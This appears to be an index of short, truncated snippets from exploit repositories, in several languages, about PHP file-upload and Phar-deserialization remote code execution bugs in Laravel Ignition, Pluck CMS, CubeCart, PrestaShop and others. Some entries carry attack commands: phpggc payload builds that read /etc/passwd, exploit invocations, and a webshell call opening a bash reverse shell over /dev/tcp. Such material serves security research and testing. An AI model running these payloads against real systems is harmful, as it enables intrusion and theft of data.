CVE-2020-29607

Exploit Alienfader / Exploit de téléchargement de webshell Alien@shell Description : Ce script Python exploite une vulnérabilité de contournement de restriction de téléchargement de fichiers dans Pluck CMS par exemple, versions antérieures à 4.7.13 pour télécharger un webshell PHP. Une fois...

CVE-2021-3129

CVE-2021-3129 Laravel Ignition RCE Exploit Ceci est un script d'exploitation Python pour CVE-2021-3129, une vulnérabilité d'exécution de code à distance dans Laravel lorsque le package Ignition est installé. Cette vulnérabilité permet à un attaquant d'exécuter des commandes système arbitraires vi...

CVE-2021-3129

CVE-2021-3129 — Laravel Ignition: удаленное выполнение кода CVSS 9.8 критический | Небезопасные файловые операции → Отравление логов → Десериализация Phar → RCE Обзор Laravel Ignition -c "whoami" Ссылки NVD — CVE-2021-3129 Ignition Patch 2.5.2...

CVE-2020-29607

CVE-2020-29607-Exploit Название эксплойта: Pluck CMS 4.7.13 - File Upload Remote Code Execution Authenticated Описание CVE: Уязвимость обхода ограничений загрузки файлов в Pluck CMS до версии 4.7.13 позволяет пользователю с правами администратора получить доступ к хосту через функциональность...

CVE-2018-19422

CVE-2018-19422 Exploit Title: File Upload Bypass to RCE Authenticated Google Dork: N/A Date: 17/05/2021 Exploit Author: Drew Alleman Based on an exploit written by: Fellipe Oliveira Vendor Homepage: https://subrion.org/ Software Link: https://github.com/intelliants/subrion Version: SubrionCMS 4.2...

LKWA

LKWA Lesser Known Web Attack Lab est destiné aux pentesters intermédiaires qui peuvent tester et pratiquer des attaques web moins connues telles que l'injection d'objets, XSSI, la désérialisation PHAR, les variables variables, etc. Les write-ups sont les bienvenus. Ma propre procédure pas à pas e...

CVE-2024-33438

Téléchargement arbitraire de fichier conduit à une RCE CVE-2024-33438 CubeCart Après exécution, voici le résultat attendu pour une exploitation réussie : python3 CubeCartCVE.py http://localhost/admin0Kqnr9.php admin 123456 whoami ,----. ||/ '. / O|| /| / "" / / // / launching exploit ||/ please...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

laravel-exploits

laravel-exploits Exploit pour CVE-2021-3129 Détails : https://www.ambionics.io/blog/laravel-debug-rce Utilisation $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log fil...

elFinder < 2.1.58 - Remote Code Execution

studio-42/elfinder before 2.1.58 contains a remote code execution caused by execution of PHP code in a .phar file, letting attackers execute arbitrary PHP code if the server parses .phar files as PHP, exploit requires server to parse .phar files as PHP. id: CVE-2021-23394 info: name: elFinder...

Contact Form 7 Drag and Drop Multiple File Upload - Arbitrary File Upload

The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.3.8.9. This makes it possible for unauthenticated attackers to bypass the plugin's blacklist and...

PrestaShop-CVE-2018-19126

Exécution de code à distance dans le Back Office de PrestaShop CVE-2018-19126 Ceci est la preuve de concept PoC pour CVE-2018-19126, enchaînant plusieurs vulnérabilités dans le Back Office de PrestaShop pour déclencher une désérialisation via phar et ainsi obtenir une exécution de code à distance...

CVE-2023-3824

PoC d'un fichier Phar malveillant en PHP CVE-2023-3824 Description Cette preuve de concept PoC démontre comment créer un fichier Phar malveillant en PHP et déclencher une vulnérabilité de débordement de tampon. Utilisation Création du fichier Phar malveillant 1. Créez un nouveau fichier PHP par...

CVE-2021-3129

CVE-2021-3129 生成自定义命令的phar包： php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a 进入php命令行环境 $fp = fopen'php://output', 'w'; streamfilterappend$fp, 'convert.quoted-printable-encode'; $size = ""; fwrite$fp,...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip mot de...

CVE-2019-19576

class.upload.php = 2.0.3 Téléversement arbitraire de fichier Auteur - Jinny Ramsmark Fournisseur concerné - Verot.net Produit concerné - class.upload.php = 2.0.3 Testé sur Ubuntu 19.10 nouvellement installé avec PHP7.3 et Apache/2.4.38 Plus précisément, Debian/Ubuntu s'est avéré vulnérable car il...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 Aperçu de la vulnérabilité Lorsque Laravel a activé le mode Debug, en raison de l'utilisation non sécurisée des fonctions filegetcontents et fileputcontents par le composant Ignition fourni avec Laravel, un attaquant peut déclencher une désérialisation Phar...

CVE-2025-3515

CVE-2025-3515 CVE‑2025‑3515 — Glisser-déposer pour l'upload multiple de fichiers dans Contact Form 7 Description : Les téléversements arbitraires de fichiers via drag‑and‑drop‑multiple‑file‑upload-contact‑form‑7 ≤1.3.8.9 permettent le téléchargement de fichiers .phar, conduisant à une exécution d...

magescan

Mage Scan The idea behind this is to evaluate the quality and security of a Magento site you don't have access to. The scenario when you're interviewing a potential developer or vetting a new client and want to have an idea of what you're getting into. Installation .phar Download the magescan.pha...

CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

CVE-2020-29607 — Pluck CMS Аутентифицированное удалённое выполнение кода в Pluck CMS до версии 4.7.13. Менеджер файлов администратора admin.php?action=files не проверяет расширения файлов, что позволяет загружать файлы .phar, которые Apache выполняет как PHP. Загрузка веб-шелла через эту конечную...